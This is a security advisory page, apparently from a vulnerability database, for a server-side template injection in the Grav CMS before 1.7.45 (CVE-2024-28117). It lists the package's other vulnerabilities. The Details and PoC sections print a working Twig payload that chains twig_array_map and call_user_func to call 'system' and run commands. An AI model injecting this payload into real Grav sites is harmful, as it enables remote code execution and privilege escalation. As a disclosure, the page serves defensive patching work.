High

Server Side Template Injection (SSTI)

  • Disclosed: 22.03.2024
  • Updated: 11.10.2026 10:22

Summary

Grav validates accessible functions through the Utils::isDangerousFunction function, but does not impose restrictions on twig functions like twig_array_map, allowing attackers to bypass the validation and execute arbitrary commands.

Details

{{ grav.twig.twig.getFunction('twig_array_map')|var_dump }}

image

When we accessed twig_array_map like this, we confirmed that the twigFunction object is properly returned. Since the callable property is correctly included, we can access twig_array_map without any restrictions.

{% set cmd = {'id':'system'} %}
{{ twig_array_map(grav.twig.twig,cmd,'call_user_func')|join }}

Since there is no validation on twig_array_map itself, it is possible to call arbitrary function using call_user_func.

PoC

{% set cmd = {'id':'system'} %}
{{ twig_array_map(grav.twig.twig,cmd,'call_user_func')|join }}

Impact

Twig processing of static pages can be enabled in the front matter by any administrative user allowed to create or edit pages. As the Twig processor runs unsandboxed, this behavior can be used to gain arbitrary code execution and elevate privileges on the instance.

Affected software

Click a technology to see all vulnerabilities affecting it.

PlatformPackageVulnerable versionsFixed in
Composer package getgrav/grav < 1.7.45 1.7.45

References

CVSS score 8.8/10
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Weakness (CWE)
CWE-94
Platform
Composer
Package
getgrav/grav
Disclosed
22.03.2024
Updated
11.10.2026 10:22

Sources and licenses

OSV / GitHub Advisory Database - GHSA-qfv4-q44r-g7rv - CC BY 4.0

Vulnerability history: getgrav/grav

All published vulnerabilities of this package (Composer package), newest first. Shows whether this is a one-off slip or a package that needs watching.

All (99) in the archive
Total entries
99
First → latest
11.2019 09.2026
Without a fix
6
Exploited in attacks
0

Severity breakdown

  • Critical 7
  • High 47
  • Medium 41
  • Low 4

Disclosures per year

  1. 2019: 1
  2. 2020: 1
  3. 2021: 4
  4. 2022: 10
  5. 2023: 5
  6. 2024: 8
  7. 2025: 23
  8. 2026: 47
Severity:
  1. High · 8.8 CVE-2026-72819 < 2.0.13 2.0.13
  2. High CVE-2026-53653 >= 2.0.0-beta.1, < 2.0.0-rc.8, < 1.7.53 2.0.0-rc.8, 1.7.53
  3. High · 8.9 CVE-2026-42611 < 2.0.0-beta.2 2.0.0-beta.2
  4. High · 8.5 CVE-2026-42612 < 2.0.0-beta.2 2.0.0-beta.2
  5. Critical · 9.4 CVE-2026-42613 < 2.0.0-beta.2 2.0.0-beta.2
  6. Critical · 9.1 CVE-2025-66844 <= 1.7.49.5 no fix
  7. High CVE-2025-66298 < 1.8.0-beta.27 1.8.0-beta.27
  8. High CVE-2025-66294 < 1.8.0-beta.27 1.8.0-beta.27
  9. High · 8.5 CVE-2025-66300 < 1.8.0-beta.27 1.8.0-beta.27
  10. High · 8.8 CVE-2025-66299 < 1.8.0-beta.27 1.8.0-beta.27
  11. High · 8.5 CVE-2024-34082 < 1.7.46 1.7.46
  12. High · 8.8 CVE-2024-28119 < 1.7.45 1.7.45
  13. High · 8.8 CVE-2024-28118 < 1.7.45 1.7.45
  14. Server Side Template Injection (SSTI) this entry
    High · 8.8 CVE-2024-28117 < 1.7.45 1.7.45
  15. High · 8.8 CVE-2024-27921 < 1.7.45 1.7.45
  16. High · 8.8 CVE-2024-27923 < 1.7.43 1.7.43
  17. High · 7.2 CVE-2023-37897 < 1.7.42.2 1.7.42.2
  18. High · 7.2 CVE-2023-34448 < 1.7.42 1.7.42
  19. High · 7.2 CVE-2023-34252 < 1.7.42 1.7.42
  20. Critical · 9.1 CVE-2023-34251 < 1.7.42 1.7.42
  21. High · 7.2 CVE-2022-2073 < 1.7.34 1.7.34
  22. High · 8.1 CVE-2020-29555 >= 1.7.0-beta.1, <= 1.7.0-rc.17, < 1.6.30 1.6.30
  23. High · 8.8 CVE-2020-29553 >= 1.7.0-beta.1, <= 1.7.0-rc.17, < 1.6.30 1.6.30
  24. High · 7.1 CVE-2022-0970 < 1.7.31 1.7.31
  25. High · 8.8 CVE-2021-3924 <= 1.7.24 no fix
  26. High · 8.4 CVE-2021-29440 < 1.7.11 1.7.11

Know which vulnerabilities affect your application

With the DockRay integration and software inventory enabled, DockRay checks reported component versions against known vulnerabilities and notifies you about confirmed matches. Coverage depends on the supported technology and available advisory data.

Connect your application
DockRay newsletter

Application security in your inbox

Important vulnerabilities, actionable guidance and practical advice for your applications. Choose your technologies and follow what matters to your project.

  • A daily digest of new vulnerabilities, critical ones included.
  • Notifications about important updates.
  • Practical advice on application security and monitoring.

Leave empty to receive updates for every technology.

Free to subscribe. Unsubscribe with one click in any email.